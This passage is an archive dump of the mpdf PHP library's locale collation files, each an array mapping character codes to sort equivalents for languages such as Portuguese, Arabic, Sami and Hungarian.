=> 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Portuguese_Brazil.php000064400000002551147600022140017152 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Sami_(Southern)_Norway.php000064400000002347147600022140017750 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 196 => 228, 216 => 248, 214 => 246, 197 => 229, ]; vendor/mpdf/mpdf/data/collations/Afrikaans_South_Africa.php000064400000002551147600022140020033 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Egypt.php000064400000001626147600022140016040 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Icelandic_Iceland.php000064400000002341147600022140016774 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 193 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 208 => 240, 69 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 201 => 233, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 205 => 237, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 211 => 243, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 85 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 218 => 250, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 255 => 121, 376 => 121, 221 => 253, 90 => 122, 382 => 122, 381 => 122, 222 => 254, 198 => 230, 214 => 246, 248 => 246, 216 => 246, ]; vendor/mpdf/mpdf/data/collations/Arabic_Libya.php000064400000001626147600022140016010 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/English_Zimbabwe.php000064400000002551147600022140016716 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/isiXhosa_South_Africa.php000064400000002551147600022140017723 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Persian_Iran.php000064400000001566147600022140016064 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Upper_Sorbian_Germany.php000064400000002515147600022140017737 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Spanish_Argentina.php000064400000002533147600022140017102 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Belarusian_Belarus.php000064400000002201147600022140017237 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Sami_(Southern)_Sweden.php000064400000002347147600022140017716 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 216 => 248, 197 => 229, 196 => 228, 214 => 246, ]; vendor/mpdf/mpdf/data/collations/Igbo_Nigeria.php000064400000002551147600022140016023 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/English_United_States.php000064400000002533147600022140017731 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 222 => 254, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Serbian_(Latin)_Bosnia_and_Herzegovina.php000064400000002613147600022140023015 0ustar00 711, 65 => 97, 259 => 97, 258 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 268 => 269, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 272 => 273, 69 => 101, 283 => 101, 282 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 318 => 108, 317 => 108, 314 => 108, 313 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 328 => 110, 327 => 110, 324 => 110, 323 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 345 => 114, 344 => 114, 341 => 114, 340 => 114, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Sami_(Inari)_Finland.php000064400000002347147600022140017277 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 216 => 248, 197 => 229, 196 => 228, 214 => 246, ]; vendor/mpdf/mpdf/data/collations/Uzbek_(Cyrillic)_Uzbekistan.php000064400000002201147600022140020727 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Spanish_Paraguay.php000064400000002533147600022140016743 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Hungarian_Hungary.php000064400000001637147600022140017122 0ustar00 711, 97 => 65, 225 => 193, 226 => 194, 228 => 196, 259 => 258, 261 => 260, 98 => 66, 99 => 67, 231 => 199, 263 => 262, 269 => 268, 100 => 68, 271 => 270, 273 => 272, 101 => 69, 233 => 201, 235 => 203, 281 => 280, 283 => 282, 102 => 70, 103 => 71, 104 => 72, 105 => 73, 237 => 205, 238 => 206, 106 => 74, 107 => 75, 108 => 76, 314 => 313, 318 => 317, 322 => 321, 109 => 77, 110 => 78, 324 => 323, 328 => 327, 111 => 79, 243 => 211, 244 => 212, 246 => 214, 337 => 336, 112 => 80, 113 => 81, 114 => 82, 341 => 340, 345 => 344, 115 => 83, 347 => 346, 351 => 350, 353 => 352, 116 => 84, 355 => 354, 357 => 356, 117 => 85, 250 => 218, 252 => 220, 367 => 366, 369 => 368, 118 => 86, 119 => 87, 120 => 88, 121 => 89, 253 => 221, 122 => 90, 378 => 377, 380 => 379, 382 => 381, ]; vendor/mpdf/mpdf/data/collations/Spanish_Honduras.php000064400000002533147600022140016755 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Romansh_Switzerland.php000064400000002165147600022140017503 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 239 => 105, 207 => 105, 74 => 106, 